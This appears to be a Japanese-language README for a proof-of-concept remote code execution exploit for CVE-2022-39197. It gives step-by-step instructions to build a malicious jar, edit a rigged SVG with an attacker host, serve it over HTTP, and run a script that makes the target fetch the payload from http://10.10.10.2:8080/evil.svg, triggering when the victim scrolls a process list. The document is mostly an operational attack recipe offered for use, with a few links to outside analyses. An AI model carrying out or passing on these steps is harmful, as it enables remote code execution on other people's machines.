CVE-2022-39197 RCE POC

使い方

• ペイロードの準備

1. EvilJar/src/main/java/Exploit.java 内の Line 19 を自分のペイロードに編集します
2. jar をビルドします: mvn clean compile assembly:single
3. EvilJar-1.0-jar-with-dependencies.jar を EvilJar/target/ から serve/ フォルダーへ移動します
4. serve\evil.svg を編集し、[attacker] を置き換えます
5. python3 -m http.server 8080 で配信します

• エクスプロイトの実行

python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

ユーザーがプロセスリストをスクロールするとすぐに、ペイロードがトリガーされます

POC.JPG?

参考リンク

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — この脆弱性の詳細な分析が掲載されています https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html